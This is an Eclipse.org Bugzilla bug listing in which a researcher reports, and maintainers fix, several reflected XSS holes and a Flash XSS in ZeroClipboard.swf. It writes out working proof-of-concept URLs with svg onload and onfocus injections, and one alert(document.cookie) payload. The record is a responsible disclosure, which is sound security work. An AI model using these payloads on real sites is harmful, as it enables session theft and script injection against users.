Bugzilla – Full Text Bug Listing
| Summary: | [Eclipse.org] Multiple XSS Vulnerabilities | ||
|---|---|---|---|
| Product: | Community | Reporter: | 'svg onloadalert0 'svg onloadalert1 <wcypierre> |
| Component: | Project Management & Portal | Assignee: | Portal Bugzilla Dummy Inbox <portal-inbox> |
| Status: | RESOLVED FIXED | QA Contact: | |
| Severity: | normal | ||
| Priority: | P3 | CC: | wayne.beaton |
| Version: | unspecified | ||
| Target Milestone: | --- | ||
| Hardware: | All | ||
| OS: | All | ||
| Whiteboard: | |||
|
Description
'svg onloadalert0 'svg onloadalert1
Thanks for reporting this. We will examine this right without delay. Hi, Sure. By the way, omit the 2nd line of my report, it is a Reflective XSS vulnerability report and not self XSS vulnerability report, I've copied the wrong template. Regards, wcypierre Hi, By the way, I've found another XSS Vulnerability. Proof of Concept #4: Vulnerability Type: Flash XSS https://projects.eclipse.org/sites/all/modules/pmi/clipboard/zeroclipboard/ZeroClipboard.swf?id=\%22%29%29}catch%28e%29{}if%28!self.a%29self.a=!alert%28document.cookie%29//&width&height Regards, wcypierre > Vulnerability Type: Flash XSS > https://projects.eclipse.org/sites/all/modules/pmi/clipboard/zeroclipboard/ > ZeroClipboard.swf?id=\%22%29%29}catch%28e%29{}if%28!self.a%29self.a=! > alert%28document.cookie%29//&width&height Wow. That was disclosed againsr zeroclipboard back in February: http://seclists.org/fulldisclosure/2013/Feb/103 Thanks. (In reply to comment #4) > > Vulnerability Type: Flash XSS > > https://projects.eclipse.org/sites/all/modules/pmi/clipboard/zeroclipboard/ > > ZeroClipboard.swf?id=\%22%29%29}catch%28e%29{}if%28!self.a%29self.a=! > > alert%28document.cookie%29//&width&height > > > Wow. That was disclosed againsr zeroclipboard back in February: > http://seclists.org/fulldisclosure/2013/Feb/103 > > Thanks. Hi, Yeah. This vulnerability has been for quite a while but yet there's still a lot of vendors that are vulnerable to this vulnerability. Regards, wcypierre (In reply to comment #0) > Proof of Concept #1: > Vulnerability Type: Reflective XSS > ---------------------------------- > https://dev.eclipse.org/portal/myfoundation/tests/swim. > php?file=committer_election%2Fcommitter_election. > txt%27%3E%22%3E%3Csvg%20onload=alert%28/wcypierre/%29%3E > > Proof of Concept #2: > Vulnerability Type: Reflective XSS > ---------------------------------- > https://dev.eclipse.org/portal/myfoundation/tests/run. > php?file=committer_election%2Fcommitter_election. > txtt%27%3E%22%3E%3Csvg%20onload=alert%28/wcypierre/%29%3E > > Proof of Concept #1: > Vulnerability Type: Reflective XSS > ---------------------------------- > https://dev.eclipse.org/portal/myfoundation/tests/see. > php?file=committer_election%2Fcommittt%27%3E%22%3E%3Csvg%20onload=alert%28/ > wcypierre/%29%3E > These are patched. (In reply to comment #3) > Proof of Concept #4: > Vulnerability Type: Flash XSS > https://projects.eclipse.org/sites/all/modules/pmi/clipboard/zeroclipboard/ > ZeroClipboard.swf?id=\%22%29%29}catch%28e%29{}if%28!self.a%29self.a=! > alert%28document.cookie%29//&width&height I've upgraded to ZeroClipboard 1.2.0-beta.1 (In reply to comment #6) > (In reply to comment #0) > > Proof of Concept #1: > > Vulnerability Type: Reflective XSS > > ---------------------------------- > > https://dev.eclipse.org/portal/myfoundation/tests/swim. > > php?file=committer_election%2Fcommitter_election. > > txt%27%3E%22%3E%3Csvg%20onload=alert%28/wcypierre/%29%3E > > > > Proof of Concept #2: > > Vulnerability Type: Reflective XSS > > ---------------------------------- > > https://dev.eclipse.org/portal/myfoundation/tests/run. > > php?file=committer_election%2Fcommitter_election. > > txtt%27%3E%22%3E%3Csvg%20onload=alert%28/wcypierre/%29%3E > > > > Proof of Concept #1: > > Vulnerability Type: Reflective XSS > > ---------------------------------- > > https://dev.eclipse.org/portal/myfoundation/tests/see. > > php?file=committer_election%2Fcommittt%27%3E%22%3E%3Csvg%20onload=alert%28/ > > wcypierre/%29%3E > > > > These are patched. Hi, It has been patched, but it seems to have broken the functionality of the file as I can't read and run the contents of the file anymore. Regards, wcypierre (In reply to comment #7) > (In reply to comment #3) > > Proof of Concept #4: > > Vulnerability Type: Flash XSS > > https://projects.eclipse.org/sites/all/modules/pmi/clipboard/zeroclipboard/ > > ZeroClipboard.swf?id=\%22%29%29}catch%28e%29{}if%28!self.a%29self.a=! > > alert%28document.cookie%29//&width&height > > I've upgraded to ZeroClipboard 1.2.0-beta.1 Verified on my side. Hi, I have found another XSS at your site. http://eclipse.org/projects/searchpage.php?q=csharp%22%20autofocus%20onfocus=alert%28/wcypierre/%29%20var%20a=%22 Regards, wcypierre (In reply to comment #8) > It has been patched, but it seems to have broken the functionality of the > file as I can't read and run the contents of the file anymore. Well that's embarrassing. I was so concerned with testing that the parameter was legal, that I never thought to test for a valid value. Truth be told, however, my first inclination was to delete the pages. We'll be doing that before too long anyway. It should work now. (In reply to comment #10) > Hi, > > I have found another XSS at your site. > > http://eclipse.org/projects/searchpage. > php?q=csharp%22%20autofocus%20onfocus=alert%28/wcypierre/%29%20var%20a=%22 > > Regards, > wcypierre I haven't seen or thought of that page in a very long time. It may, I think, be time to deprecate/remove it. Fixed. (In reply to comment #11) > (In reply to comment #8) > > It has been patched, but it seems to have broken the functionality of the > > file as I can't read and run the contents of the file anymore. > > Well that's embarrassing. I was so concerned with testing that the parameter > was legal, that I never thought to test for a valid value. > > Truth be told, however, my first inclination was to delete the pages. We'll > be doing that before too long anyway. > > It should work now. Verified the patch on my side for both this one and the other one on the search bar as well. I think that we're done here, so I'm marking this bug as fixed and am removing the committers-only flag. |